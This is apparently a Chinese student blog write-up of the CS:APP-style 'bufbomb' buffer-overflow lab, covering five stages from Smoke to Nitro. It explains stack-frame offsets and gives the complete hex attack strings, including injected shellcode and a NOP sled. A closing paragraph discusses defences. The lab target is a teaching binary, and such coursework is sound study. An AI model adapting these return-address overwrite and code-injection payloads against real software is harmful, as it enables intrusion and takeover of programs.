【计算机系统基础05】Lab3数据溢出

一、实验目的

此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。

二、实验要求

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。

三、实验内容

前期准备

首先打开解压后的lab3文件,对buffbomb进行反汇编,生成对应的文件

这样就可以成功打开bufbomb反汇编文件

可以使用Ctrl+F进行查找,例如getbuf,这样可以很方便地查找到

Smoke

看到getbuf函数

由上图代码得,getbuf的栈帧是0x34+4个字节,需要写入一个字符串,该字符串的作用是溢出覆盖EBP和EBP之上的返回地址
EAX在EBP减28处,而EBP以上四个字节才是返回地址
故需要输入的字符串长度为28H+4H+4H=48D

创建一个smoke文件
因为是小端方式,故先填写高位地址再填写低位地址,先填写前40个字节

这些字节的内容可以随意更改,接下来的位置属于溢出的部分,它可以覆盖EBP的值。之后查看smoke

Smoke运行完之后会立即结束而不会返回test,输入的最后四个字节为08048bd2,因为是小端方式,所以要写成如下图所示的样式

之后我们先生成bin文件,之后输出专属的cookie

第一关成功

Fizz

先查看Fizz函数的反汇编程序

Fizz函数和smoke函数的不同之处在于,smoke函数不会返回test,而本关需要跳入fizz函数,且该函数有一个参数(这个参数就是给我们的cookie)
第一关成功后cookie的地址已经告诉,我们不需要特意去找,如下图

Fizz的起始地址已在上图标出,ebp+4为栈帧返回地址,道理与somke类似,由于参数地址为旧EBP+4+8,我们需要在下方额外添加8个字节以作为函数参数,其中前四个字节可以随意更改,后四个字节为cookie的地址,且采用小端方式

还是先生成bin文件再运行,执行测试结果如下

Bang

先找到bang的反回编程序

这一关的目的是将程序跳转到bang,上图先标出了bang的起始地址。我们需要修改全局变量global_value(地址已在图上标出)为cookie,另外修改返回地址
故攻击代码如下(文件名bang.s)

之后将这个可打开的汇编程序转换成不可打开的二进制.o文件,之后再反汇编查看

之后查看buf缓冲区的首地址


以此便得到了buf的首地址
故结果为

运行效果

成功运行

Boom

这一关需要getbuf调用后,返回到test中,但并不破坏test的堆栈状态。同时在test函数调用getbuf后,其返回值替换成cookie
先查看test的汇编

由于test的栈空间不能破坏,我们在buf缓冲区的对应位置存回test的esp,返回地址存放在buf缓冲区首地址,攻击代码为修改eax的值为cookie并重新回到test
先得到test中ebp的地址

编写攻击代码

攻击代码上一关以给出,故攻击用的字符串为

最终成功运行

Nitro

本关与上一关不同之处在于需要加上-n参数,程序进入的是testn和getbufn
先查看getbufn和testn


加上ebp,便有524个字节
攻击代码如下

攻击代码的思路是现将cookie传入eax,之后获取ebp地址,再返回test函数

得到了有效攻击代码
再查看buf缓冲区首地址

得到了五个地址,将最大的地址作为目标地址
故第五关攻击字符串为

其中前面90H的个数为509个

运行成功
这样五关全部通关,成功截图为
Smoke:

Fizz:

Bang:

Boom:

Nitro:

攻击用的字符串分别是

Smoke:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 d2 8b 04 08

Fizz:
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13
fa 8b 04 08
11 11 11 11
24 6e df 34

Bang:
b8 24 6e df 34
a3 38 d1 04 08
68 49 8c 04 08
c3
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17
18 33 68 55

Boom:
b8 24 6e df 34
68 64 8d 04 08
c3
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
60 33 68 55
18 33 68 55

Nitro:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 24 6e df 34
8d 6c 24 18
68 d9 8d 04 08
c3
a8 31 68 55

  • 11
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
缓冲区溢出是一种计算机安全漏洞,攻击者通过在程序中输入超过缓冲区边界的数据,将恶意代码注入到程序中执行的过程。缓冲区溢出攻击可以导致程序崩溃、执行未经授权的代码,甚至获取系统权限。经过实验,可以更好地理解和防范这种攻击。 在level3: rumble的实验中,我们面临的是一个更高级的缓冲区溢出攻击。在这个实验中,攻击者通过输入特殊构造的数据,成功改变程序的运行流程,使得程序执行攻击者所期望的指令。这种攻击常常利用了程序中的函数指针或返回地址的问题。具体来说,攻击者会试图将恶意代码的地址写到函数指针或返回地址处,从而实现程序流的改变。 为了进行这个实验,我们首先需要了解目标程序的结构和存在的漏洞。然后,攻击者需要通过输入过长的数据溢出缓冲区并覆盖到函数指针或返回地址。攻击者会通过调整输入数据的内容和长度,来逐步控制程序的执行流程,达到他们想要的目的。 为了防范和避免缓冲区溢出攻击,我们可以采取以下措施: 1. 输入验证和长度限制:限制输入的长度,避免超出缓冲区的边界。 2. 栈保护技术:使用栈保护技术,比如栈溢出检测和随机化布局,来使攻击者更难寻找正确的溢出点。 3. 代码审查:对程序进行审查,及时发现和修复潜在的缓冲区溢出漏洞。 4. 程序更新和修复:及时更新和修复软件和库,以防止已知的缓冲区溢出漏洞被攻击者利用。 总之,实验level3: rumble是一种对高级缓冲区溢出攻击的模拟,通过实验我们可以更加深入地了解缓冲区溢出的原理和防范措施,提高系统的安全性。同时,我们也应该意识到,缓冲区溢出攻击是一种严重的安全威胁,需要我们加强对软件和系统的安全管理和维护。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值